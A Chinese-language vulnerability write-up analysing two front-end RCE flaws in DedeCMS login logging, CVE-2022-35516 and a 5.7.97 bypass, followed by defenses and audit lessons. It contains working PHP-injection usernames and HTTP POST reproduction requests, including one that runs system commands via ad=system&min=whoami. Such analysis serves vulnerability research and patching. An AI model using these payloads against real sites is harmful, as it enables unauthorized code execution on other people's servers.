记某CMS 5.7.97 前台RCE
字数 1566 2025-08-06 18:07:47

记某CMS 5.7.97前台RCE漏洞分析与利用

漏洞概述

本文详细分析记某CMS(DedeCMS)5.7.97版本及之前存在的两个前台远程代码执行漏洞:

  1. CVE-2022-35516 - 影响版本5.7.93至5.7.96
  2. 5.7.97版本绕过漏洞 - 影响5.7.97版本

这两个漏洞都源于系统记录用户登录次数的功能,通过精心构造的输入可实现前台远程代码执行。

漏洞影响范围

  • CVE-2022-35516:DedeCMS 5.7.93至5.7.96版本
  • 绕过漏洞:DedeCMS 5.7.97版本
  • 已修复版本:DedeCMS 5.7.98

漏洞分析

CVE-2022-35516漏洞原理

  1. 漏洞位置:登录功能(login.php)中记录用户登录次数的功能

  2. 漏洞成因

    • 系统会将登录信息写入data/login.data.php文件
    • 用户名参数未正确过滤,导致可注入PHP代码
    • 虽然系统使用addslashes()进行转义,但后续的json_encode()处理会反转义部分字符
  3. 关键代码流程

    // 包含并读取login.data.php文件
    if(file_exists($loginfile)) {
        require_once($loginfile);
        $arr_login = json_decode($grouplogin, true);
    }
    
    // 检查验证码...
    
    // 检查用户名密码
    if($res == -1) {
        // 用户名错误时写入文件
        $arr_login[$userid] = array("count"=>1, "time"=>time());
        $login_info = json_encode($arr_login);
        file_put_contents($loginfile, "<?php\n\$grouplogin = '".$login_info."';\n?>");
    }
    
  4. 绕过过滤机制

    • 输入:';phpinfo();?>
    • addslashes处理后:\';phpinfo();?>
    • json_encode处理后:\\';phpinfo();?>
    • 最终写入文件:<?php\n\$grouplogin = '\\';phpinfo();?>';\n?>

5.7.97版本绕过技术

5.7.97版本修复了CVE-2022-35516,增加了用户名检查:

if($res == -1) {
    // 直接退出,不再写入文件
    ShowMsg("用户名不存在!", "login.php");
    exit();
}

绕过方法

  1. 利用用户名检查正则表达式:

    • 系统会过滤用户名中的特殊字符,只保留字母数字和一些特定符号
    • 构造特殊用户名如adminADMIN'";?>$(),过滤后会保留admin
  2. 利用文件包含特性:

    • login.php会先包含login.data.php文件
    • 可以写入PHP变量定义,然后通过POST参数控制这些变量
  3. 具体利用步骤

    • 构造payload:';$ad($min);?>
    • 过滤后用户名变为admin(假设存在admin用户)
    • 写入文件内容包含变量定义
    • 第二次请求时通过POST传递ad=system&min=whoami执行命令

CVE-2022-36216(后台RCE)

虽然不是前台漏洞,但原理类似:

  • 位于dede/member_toadmin.php
  • 通过json_encode写入文件导致代码执行
  • 需要管理员权限才能利用

漏洞复现

CVE-2022-35516复现步骤

  1. 准备环境:DedeCMS 5.7.96或以下版本
  2. 发送登录请求,用户名包含恶意代码:
    POST /login.php HTTP/1.1
    ...
    userid=';phpinfo();?>&pwd=123&validate=验证码
    
  3. 访问data/login.data.php文件触发代码执行

5.7.97版本绕过复现

  1. 准备环境:DedeCMS 5.7.97版本
  2. 第一次请求(写入文件):
    POST /login.php HTTP/1.1
    ...
    userid=';$ad($min);?>&pwd=123&validate=验证码
    
    • 确保系统中存在admin用户
  3. 第二次请求(执行命令):
    POST /login.php HTTP/1.1
    ...
    userid=admin&pwd=123&validate=验证码&ad=system&min=whoami
    

防御措施

  1. 升级到DedeCMS 5.7.98或更高版本
  2. 如果不能立即升级:
    • 禁用data/login.data.php文件写入权限
    • 加强输入过滤,特别是用户名参数
    • 限制data目录的PHP执行权限

总结

这两个漏洞展示了安全开发中的常见问题:

  1. 不安全的文件写入操作
  2. 转义与编码处理不一致
  3. 修复不彻底导致的绕过

审计时应特别注意:

  • 文件写入操作
  • json_encode等编码函数的安全影响
  • 多层过滤机制间的交互

参考资源

  • 漏洞环境与EXP:https://github.com/N0puple/vulPOC
  • DedeCMS 5.7.97下载:https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.97-UTF8.zip
记某CMS 5.7.97前台RCE漏洞分析与利用 漏洞概述 本文详细分析记某CMS(DedeCMS)5.7.97版本及之前存在的两个前台远程代码执行漏洞: CVE-2022-35516 - 影响版本5.7.93至5.7.96 5.7.97版本绕过漏洞 - 影响5.7.97版本 这两个漏洞都源于系统记录用户登录次数的功能,通过精心构造的输入可实现前台远程代码执行。 漏洞影响范围 CVE-2022-35516:DedeCMS 5.7.93至5.7.96版本 绕过漏洞:DedeCMS 5.7.97版本 已修复版本:DedeCMS 5.7.98 漏洞分析 CVE-2022-35516漏洞原理 漏洞位置 :登录功能( login.php )中记录用户登录次数的功能 漏洞成因 : 系统会将登录信息写入 data/login.data.php 文件 用户名参数未正确过滤,导致可注入PHP代码 虽然系统使用 addslashes() 进行转义,但后续的 json_encode() 处理会反转义部分字符 关键代码流程 : 绕过过滤机制 : 输入: ';phpinfo();?> addslashes 处理后: \';phpinfo();?> json_encode 处理后: \\';phpinfo();?> 最终写入文件: <?php\n\$grouplogin = '\\';phpinfo();?>';\n?> 5.7.97版本绕过技术 5.7.97版本修复了CVE-2022-35516,增加了用户名检查: 绕过方法 : 利用用户名检查正则表达式: 系统会过滤用户名中的特殊字符,只保留字母数字和一些特定符号 构造特殊用户名如 adminADMIN'";?>$() ,过滤后会保留 admin 利用文件包含特性: login.php 会先包含 login.data.php 文件 可以写入PHP变量定义,然后通过POST参数控制这些变量 具体利用步骤 : 构造payload: ';$ad($min);?> 过滤后用户名变为 admin (假设存在admin用户) 写入文件内容包含变量定义 第二次请求时通过POST传递 ad=system&min=whoami 执行命令 CVE-2022-36216(后台RCE) 虽然不是前台漏洞,但原理类似: 位于 dede/member_toadmin.php 通过 json_encode 写入文件导致代码执行 需要管理员权限才能利用 漏洞复现 CVE-2022-35516复现步骤 准备环境:DedeCMS 5.7.96或以下版本 发送登录请求,用户名包含恶意代码: 访问 data/login.data.php 文件触发代码执行 5.7.97版本绕过复现 准备环境:DedeCMS 5.7.97版本 第一次请求(写入文件): 确保系统中存在 admin 用户 第二次请求(执行命令): 防御措施 升级到DedeCMS 5.7.98或更高版本 如果不能立即升级: 禁用 data/login.data.php 文件写入权限 加强输入过滤,特别是用户名参数 限制 data 目录的PHP执行权限 总结 这两个漏洞展示了安全开发中的常见问题: 不安全的文件写入操作 转义与编码处理不一致 修复不彻底导致的绕过 审计时应特别注意: 文件写入操作 json_encode 等编码函数的安全影响 多层过滤机制间的交互 参考资源 漏洞环境与EXP:https://github.com/N0puple/vulPOC DedeCMS 5.7.97下载:https://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7.97-UTF8.zip